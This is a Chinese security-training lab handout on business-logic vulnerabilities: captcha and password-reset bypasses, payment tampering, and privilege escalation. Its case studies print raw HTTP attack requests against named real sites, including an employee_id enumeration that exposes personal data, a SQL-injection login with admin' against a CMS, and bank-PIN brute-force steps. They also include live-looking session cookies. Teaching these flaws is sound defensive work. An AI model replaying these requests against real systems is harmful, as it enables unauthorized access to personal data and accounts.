逻辑漏洞概述实验
逻辑漏洞
【实验目的】
掌握逻辑漏洞的分类
【实验原理】
1.逻辑漏洞
逻辑漏洞挖掘一直是安全测试中"经久不衰"的话题。相比SQL注入、XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,可能造成了企业的资产损失和名誉受损,并且传统的安全防御设备和措施收效甚微。
逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,导致一些逻辑分支不能够正常处理或处理错误,一般出现在任意密码修改(没有旧密码验证)、越权访问、密码找回、交易支付金额等。登陆时,是否可以绕过验证码形成撞库
注意:本次实验中包含大量实战内容,不需要进行操作,了解即可。
【实验内容】
步骤1:常见的逻辑漏洞
1.1 登陆处的漏洞主要存在于:
返回包中有验证码
返回页面 hidden中有验证码
有些其他登陆url中不需要验证码
验证码不变,验证码没有一个完整的服务请求,只在刷新url时才变
第一次请求包验证了验证码是否正确,第二次请求不需要验证
拦截登录时验证码的刷新请求,第一次验证码未失效,可绕过
验证码和用户名、密码是否一次同时提交
公众号,app无验证
1.2 实例 - 反向爆破漏洞
图1
在我们得到相关信息后,可以通过截断把加密后的密码确定为固定项,把其他用户信息用密码本的形式进行爆破,可以暴力测试账号与密码是否匹配。
168168加密后得到以下字符串,并尝试登录成功
08E304A899D50BC4ACDBFB56D0EBFD1E303FD10D1A37BB45547CB5D98323191003EBC244F8480D9110B403E621B40327B3E41B96D0FD87D803DFC176E0B580C81BE9A0F7455F2DCE8D416E67CEE6822E2887B1A348953CD3EFF279222F08786E7D547E2423D9CA102AED6867DA0059D89FE83AAC753894313B0B881A43847458073E
图2
当我们把密码固定后利用系统验证可以绕过的漏洞,可以对银行号进行爆破,众所周知,银行卡密码为6位数字,而且有很多为123456等弱口令,可以利用他系统的加密方法对常用口令进行加密,然后进行爆破测试。
1.3 密码找回处的漏洞
验证码回传
验证码时间长,不失效可爆破(字典可去除全1重复数多的)
修改密码,修改发送手机号修改为自己可控
邮箱验证可猜测
假如找回需要4步,最后一步有user参数,用自己账号正常到第三步,第四步修改user实现逻辑
可以跳步找回(直接访问页面)
本地验证,修改返回值
服务器验证为空,包中直接删除验证码
个别验证码全0可绕过
token生成可控(wooyun两篇实例)
cookie覆盖
删除验证码校验,绕过
1.4 支付漏洞
金额运费修改
修改bxprice,可改成任意负数金额数量
请求重放,多次下单
并发 (数据库操作加锁)
参数污染,请求没该参数,却返回该参数,可请求该参数污染返回值
步骤2:越权逻辑漏洞
越权访问漏洞,又可以分为横向越权访问漏洞与纵向越权访问漏洞两类。
2.1 横向越权访问漏洞
指的是权限平级的两个用户之间的越权访问。
比如,一个正常的用户A通常只能够对自己的一些信息进行增删改查,但是由于程序员的一时疏忽未对信息进行增删改查的时候进行一个判断,判断所需要操作的信息是否属于对应的用户,因此,导致用户A可以操作其他人的信息。
2.2 实例 - 51社保某处越权查看任意用户信息漏洞
问题点
/shebao/fillinfomation?insurance_location_id=6&employee_id=203§66§&person_id=&action=zr01
危害描述
权限绕过查看任意用户个人信息,姓名,身份证等。
漏洞产生原因
参数未过滤。
测试过程
访问微小宝http://***.***.**.***:8015/,注册登录,填写个人信息,在填写参保人信息处存在越权,employee_id参数可被遍历:
图3
数据包如下:
GET /shebao/fillinfomation?insurance_location_id=6&employee_id=§66§&person_id=&action=zr01 HTTP/1.1
Host: ...*:8015
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Referer: http://101.200.47.130:8015/insuranceGoods/InsuredCity?employee_id=20367&person_id=1906&action=zr01&ppkstr=23a0c06b&sign=2ab6c3cc61823741e21c0c16b1535640
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=38472b126ad61367accf611ee2177868; sensorsdata_is_new_user=true; mediav=%7B%22eid%22%3A%22247642%22%2C%22ep%22%3A%22%22%2C%22vid%22%3A%22J%3C7.725%28S%5B%3A%23s%5BD.lsmc%22%2C%22ctn%22%3A%22%22%7D; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2215d7cb69eec252-027ceb515d3c64-396b4e08-1049088-15d7cb69eed504%22%2C%22props%22%3A%7B%22%24latest_referrer%22%3A%22%22%2C%22%24latest_referrer_host%22%3A%22%22%7D%7D; QIAO_CK_4496944_R=; XSRF-TOKEN=eyJpdiI6Ik4ydW01bHlYVk13cG5NQ1c1R0M5M2c9PSIsInZhbHVlIjoiNkNjc0trK1d1M3hcLzUxVmsyZ3htNlkwTER0NzB3M0dNVFF5Qzlrb2NSOW5WUmdCNHRaK1k5ZkFUcGFha1ZEbDJkeXdXYWpJdUpvWEpadE15b0RubVhnPT0iLCJtYWMiOiIyNGIwYzhjNDZmNDg1MDk2MzFkMWRhNDAwZmIwZWNiZDQ5MDA1MTA3YTIwMTBkZjQyZjMyY2Q0OTgyNWNhYmVmIn0%3D; JSESSIONID=ebaa9b41-e550-4d85-b86d-526a45188dc8; zg_a815ea19015249a89df426c65e1af46c=%7B%22sid%22%3A%201501038882.966%2C%22updated%22%3A%201501038882.974%2C%22info%22%3A%201501035913966%2C%22cuid%22%3A%20%22%22%7D; laravel_session=eyJpdiI6ImhxNUZlQTIwNUExc3RjZFhwcGxnR2c9PSIsInZhbHVlIjoiWkttQWFwMzIrRmF0amNPZmVqMVIrQUhKU3NKdVVTdHVQWU1rQzVNb1hJaG5pSDdPRlNpUmlOVGlWK1hhdzl2ZUZEekE1eXBqZyt5YzZaeHQ3MzR1dkE9PSIsIm1hYyI6ImQ4Yjc2YjI3OWE3OTYzZDMwNTFiMDA0MmNlODIzYTBiZDA1ZDZmNTM0MTkzMTljZDU2ZTY3NDFiMGRlMzNiZmUifQ%3D%3D; zg_did=%7B%22did%22%3A%20%2215d7cb662e3216-0784492e5511c4-396b4e08-100200-15d7cb662e43c7%22%7D; zg_0deb6c6901bb4eb1b0f324b22d68b5d1=%7B%22sid%22%3A%201501039780.298%2C%22updated%22%3A%201501039780.298%2C%22info%22%3A%201501035929285%7D; _ga=GA1.1.342311860.1501035929; _gid=GA1.1.581291768.1501035929; Hm_lvt_717da9fbbb380c7b043ea096861c919d=1501035929; Hm_lpvt_717da9fbbb380c7b043ea096861c919d=1501039780; responseTimeline=321; _qzja=1.1931991145.1501035929340.1501035929341.1501039780458.1501035929341.1501039780458.0.0.0.2.2; _qzjb=1.1501039780458.1.0.0.0; _qzjc=1; _qzjto=2.2.0; Hm_lvt_da0f0096fceb023ff28522eece668c90=1501035792; Hm_lpvt_da0f0096fceb023ff28522eece668c90=1501039803; Hm_lvt_9ff162bfe3685ed2a2c02c334f975e51=1501035792; Hm_lpvt_9ff162bfe3685ed2a2c02c334f975e51=1501039803
Connection: close
图4
2.3 纵向越权访问漏洞
指的是权限不等的两个用户之间的越权访问。
一般都是,低权限的用户可以直接访问高权限的用户的信息。
比如,在论坛中,你是一个普通用户,有一天,你通过burpsuite抓包修改了自己的用户ID为管理员的用户ID,一不小心,成功登陆了管理员的账号。
2.4 实例 - 湖南科创cms通用注入漏洞
打开网站,经过查找探测发现注入点,漏洞参数为ZNSearch,类型为盲注、字符型注入。
http://www.chinacreator.com/login.jsp
发现注入点存在于字段userName中 当用户利用万能密码进行测试时就可以突破网站的权限限制,成功利用到管理员的身份。这是最简单的也是最典型的纵向越权,可以让普通用户获得管理员的身份进行访问。
图5
POST /login.jsp HTTP/1.1
Host: www.chinacreator.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.chinacreator.com/login.jsp
Cookie: JSESSIONID=34BA53DE1B50A0A67339B330D6E26E2E; USERNAME=admin'
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
flag=yes&macaddr=&machineName=&machineIp_=&userName=admin%27&password=asdf&yzm=7407&subsystem_id=cms